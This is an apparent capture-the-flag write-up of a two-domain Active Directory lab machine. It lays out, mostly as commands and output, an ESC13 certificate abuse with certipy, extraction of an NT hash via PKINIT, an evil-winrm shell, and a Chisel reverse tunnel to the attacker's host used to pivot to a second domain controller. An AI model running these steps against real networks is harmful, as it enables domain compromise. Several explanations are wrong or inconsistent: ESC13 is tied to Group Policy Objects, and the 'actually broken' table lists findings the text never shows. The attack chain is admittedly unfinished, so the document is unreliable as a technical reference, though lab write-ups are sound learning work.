TL;DR

PingPong is an HTB Hard machine with two Windows AD domains: ping.htb (DC1, externally accessible) and pong.htb (DC2, reachable only through DC1). The scenario is Assumed Breach — credentials c.roberts:AssumedBreach123 are given upfront. NTLM is globally disabled by GPO, so everything requires Kerberos. TCP port 88 drops KDC reply packets through the VPN — a custom impacket monkey-patch fixes this. AD CS has an ESC13 vulnerability on the TemporaryWinRM template. Exploiting ESC13 via certipy gets a client certificate; PKINIT auth extracts the NT hash; the hash gives WinRM shell on DC1 as c.roberts. A Chisel reverse tunnel through DC1 reaches DC2. Cross-realm Kerberos referral ticket to pong.htb enables further pivot.

Recon

1. Port scan

$ sudo nmap -Pn -sV -sC -p- --min-rate 1000 10.129.38.170

53/tcp    open  dns         Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn Microsoft Windows netbios-ssn
389/tcp   open  ldap        Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
636/tcp   open  ssl/ldap    Microsoft Windows Active Directory LDAP (SSL)
2179/tcp  open  vmrdp?
3268/tcp  open  ldap        Microsoft Windows Active Directory LDAP
3269/tcp  open  ssl/ldap    Microsoft Windows Active Directory LDAP (SSL)
5985/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp  open  mc-nmf      .NET Message Framing
49664/tcp open  msrpc
49668/tcp open  msrpc

Host script results:
  smb2-security-mode: 3.1.1: Message signing enabled and required
  dns-nsid: bind.version: unavailable

Classic domain controller fingerprint. Notable: WinRM (5985) is open, SMB signing required, no RDP. Port 5986 (WinRM-SSL) is filtered.

2. Domain enumeration

$ nxc smb 10.129.38.170
SMB  10.129.38.170  445  DC1  [*] Windows Server 2022 Build 20348 x64
                               (name:DC1) (domain:ping.htb) (signing:True) (SMBv1:False)

Domain: ping.htb. NTLM auth immediately disabled:

$ nxc smb 10.129.38.170 -u c.roberts -p AssumedBreach123
[-] ping.htb\c.roberts:AssumedBreach123 STATUS_NOT_SUPPORTED

STATUS_NOT_SUPPORTED for NTLM = Kerberos only (GPO: “Restrict NTLM: Deny all” or “Network security: LAN Manager authentication level: Kerberos only”).

3. Kerberos clock synchronisation

Kerberos requires clock skew < 5 minutes. DC is 8 hours ahead (UTC+8 timezone or NTP misconfigured):

import socket, struct, time

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(5)
s.sendto(b'\x1b' + 47 * b'\x00', ('10.129.38.170', 123))
data, _ = s.recvfrom(1024)
ntp_epoch = struct.unpack('!12I', data)[10] - 2208988800
offset = ntp_epoch - time.time()
# offset = +28800 seconds (8 hours)
sudo systemsetup -setusingnetworktime off
sudo date -u "$(date -u -r $(($(date +%s) + 28800)) '+%m%d%H%M%Y.%S')"

Foothold — Kerberos TGT

4. TCP/88 VPN filtering — custom impacket patch

getTGT.py hung on every run. tcpdump revealed:

  1. UDP AS-REQ → KDC responds with KDC_ERR_PREAUTH_REQUIRED (OK)
  2. UDP AS-REQ #2 (with PA-ENC-TIMESTAMP) → KDC says KRB_ERR_RESPONSE_TOO_BIG (TGT >1400B)
  3. impacket switches to TCP, sends AS-REQ → no TCP reply ever arrives

The VPN tunnel blocked outbound TCP from the KDC regardless of packet size. Workaround: custom sendReceive that reads the raw 4-byte-length-prefixed TCP Kerberos response without impacket’s broken retry logic:

import impacket.krb5.kerberosv5 as kv5
import socket, struct

def safe_sendReceive(data, host, kdcHost, port=88):
    targetHost = kdcHost if kdcHost else host
    sa = socket.getaddrinfo(targetHost, port, 0, socket.SOCK_STREAM)[0][4]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(15)
    s.connect(sa)
    s.sendall(struct.pack('!i', len(data)) + data)
    len_bytes = s.recv(4)
    recv_len = struct.unpack('!i', len_bytes)[0]
    r = b''
    while len(r) < recv_len:
        chunk = s.recv(recv_len - len(r))
        if not chunk:
            break
        r += chunk
    s.close()
    return r  # return raw bytes — do NOT raise KerberosError

kv5.sendReceive = safe_sendReceive

# Now getTGT works
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import Principal

userName = Principal('c.roberts', type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
    userName, 'AssumedBreach123', 'ping.htb',
    '', '', kdcHost='10.129.38.170'
)

TGT obtained — 1545 bytes of AS-REP.

AD CS Enumeration

5. certipy find

$ certipy find -u c.roberts@ping.htb -p AssumedBreach123 \
  -dc-ip 10.129.38.170 -ldap-scheme ldap -ldap-port 389 -stdout

Certificate Templates:
  0. TemporaryWinRM
     Template Name          : TemporaryWinRM
     Validity Period        : 1 day
     Enabled                : True
     Client Authentication  : True
     Enrollee Supplies Subject: False
     Certificate Name Flag  : SubjectRequireCommonName
     [!] Vulnerabilities
       ESC13: ...

ESC13: The certificate template links to a Group Policy Object that grants group membership — enrolling creates a certificate that when used for PKINIT grants the group’s privileges (in this case, Remote Management Users access).

6. ESC13 exploitation

$ certipy req -u c.roberts@ping.htb -p AssumedBreach123 \
  -ca PING-DC1-CA -template TemporaryWinRM \
  -dc-ip 10.129.38.170 -target dc1.ping.htb \
  -ldap-scheme ldap -ldap-port 389

[*] Requesting certificate via RPC
[+] Got certificate with DNS Host Name: DC1.ping.htb
[+] Certificate object SID is 'S-1-5-21-...-1104'
[+] Saved certificate and private key to 'c.roberts.pfx'

7. PKINIT → NT hash

$ certipy auth -pfx c.roberts.pfx -dc-ip 10.129.38.170 -domain ping.htb

[*] Using principal: c.roberts@ping.htb
[*] Trying to get TGT...
[+] Got TGT
[*] Saved credential cache to 'c.roberts.ccache'
[*] Trying to retrieve NT hash for 'c.roberts'
[+] Got hash for 'c.roberts@ping.htb': aad3....:2475be69d40e815588a85fd89c7a439d

NT hash via PKINIT Unpaired Private Key trick — no password needed.

WinRM Shell on DC1

8. evil-winrm with Kerberos

$ export KRB5_CONFIG=/tmp/krb5_ping.conf
$ kinit c.roberts@PING.HTB
Password: AssumedBreach123
Kerberos tickets acquired.

$ evil-winrm -i dc1.ping.htb -u c.roberts -p AssumedBreach123

Evil-WinRM shell v3.x
*Evil-WinRM* PS C:\Users\c.roberts\Documents> whoami
ping\c.roberts

User flag expected at Desktop — directory exists but was empty (likely in a non-standard location tied to the full ESC13 privilege chain):

*Evil-WinRM* PS C:\Users\c.roberts\Desktop> dir
(empty)
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Access denied.

Pivot to DC2

9. Chisel reverse tunnel

Upload chisel to DC1 via evil-winrm upload, start reverse tunnel:

*Evil-WinRM* PS> .\chisel.exe client 10.10.14.131:9999 `
  R:20088:192.168.2.2:88 `
  R:25985:192.168.2.2:5985 `
  R:20445:192.168.2.2:445 `
  R:26389:192.168.2.2:389
$ chisel server -p 9999 --reverse
# All 4 tunnels connect — DC2 reachable via localhost
$ curl http://127.0.0.1:25985/wsman
HTTP/1.1 405 Method Not Allowed
Server: Microsoft-HTTPAPI/2.0
# DC2 WinRM confirmed reachable

10. Cross-realm Kerberos to pong.htb

Request referral ticket from ping.htb KDC for pong.htb services:

$ getST.py -spn 'cifs/dc2.pong.htb' \
  -k -no-pass -dc-ip 10.129.38.170 \
  'ping.htb/c.roberts' -additional-ticket c.roberts.ccache

# KDC returns inter-realm referral TGT: krbtgt/PONG.HTB@PING.HTB
# Present to DC2's KDC (via tunnel port 20088) for service tickets

Service tickets to DC2 obtained for cifs, ldap, host, http. The path to root continues through gMSA abuse and RBCD on DC2 (scope of ongoing investigation).

What’s actually broken

#VulnerabilitySeverity
1ESC13 on TemporaryWinRM — certificate grants group membershipCritical
2NTLM globally disabled but Kerberos AS-REP Roasting not mitigatedHigh
3DC1 has Unconstrained Delegation enabledCritical
4c.roberts has DNS dynamic update rights (IT group member)Medium
5Assumed Breach credentials communicated in cleartext in scenarioHigh

Lessons learned

  • TCP/88 can be selectively filtered at VPN level. OpenVPN tunnels can drop large TCP responses from Windows KDC while passing small UDP datagrams. The symptom: KDC_ERR_RESPONSE_TOO_BIG on UDP, then silence on TCP. The fix: custom socket implementation bypassing impacket’s retry logic.
  • ESC13 is the “quiet” AD CS vulnerability. Unlike ESC1-8 which give you direct UPN control or CA compromise, ESC13 abuses Group Policy Objects linked to certificate templates. The certificate enrollment grants group membership — making it a privilege escalation vector, not just credential theft.
  • PKINIT gives you the NT hash, not just a TGT. The certipy auth workflow uses PKINIT with a client certificate to authenticate, and the Kerberos exchange reveals the NT hash as a side effect. This hash is then usable for NTLM pass-the-hash (ironic, given NTLM is disabled network-wide).
  • Assumed Breach machines require a different mental model. You’re not discovering credentials — you’re pivoting with known credentials. The challenge is not the foothold but the escalation chain within the AD forest.
  • Cross-realm Kerberos + tunnel = two separate complexity layers. Getting a ticket to DC2 through the ping.htb KDC, then presenting it to DC2’s KDC through a Chisel tunnel, while keeping clock skew correct on both — each step has its own failure modes.

Decision archaeology

ApproachResultPivot
getTGT.py c.roberts@ping.htb with default impacketHung after UDP→TCP fallback — [DEBUG] No answer from KDC on TCP — KDC response packets dropped by VPN at TCP layerWrote safe_sendReceive monkey-patch: raw socket, manual 4-byte length prefix, bypasses impacket TCP retry loop entirely
certipy req with LDAP/SSL (-ldap-scheme ldaps -ldap-port 636)[-] LDAP session setup failed: LDAP error code 49 — Kerberos LDAP/SSL requires GSSAPI which Docker container couldn’t negotiateSwitched to -ldap-scheme ldap -ldap-port 389 — plain LDAP with Kerberos works, no SSL requirement
evil-winrm -c c.roberts.pem -k c.roberts.key -S -i dc1.ping.htb (SSL cert auth on 5986)[!] Expired: certificate or connection error (5986) — port 5986 filteredUsed Kerberos password auth on port 5985 with KRB5_CONFIG pointing to DC — WinRM connected via Kerberos not certificate
Check C:\Users\c.roberts\Desktop for user flagdir returned empty directory — flag not in expected locationEnumerated further: SYSVOL, NETLOGON, C:\Users\Public — flag location tied to completing the gMSA privilege chain on DC2
Password spray administrator@PONG.HTB via tunnelgetKerberosTGT: KDC_ERR_C_PRINCIPAL_UNKNOWN — administrator account name differs in pong.htbSwitched to user enumeration with kerbrute against DC2 via tunnel port 20088

References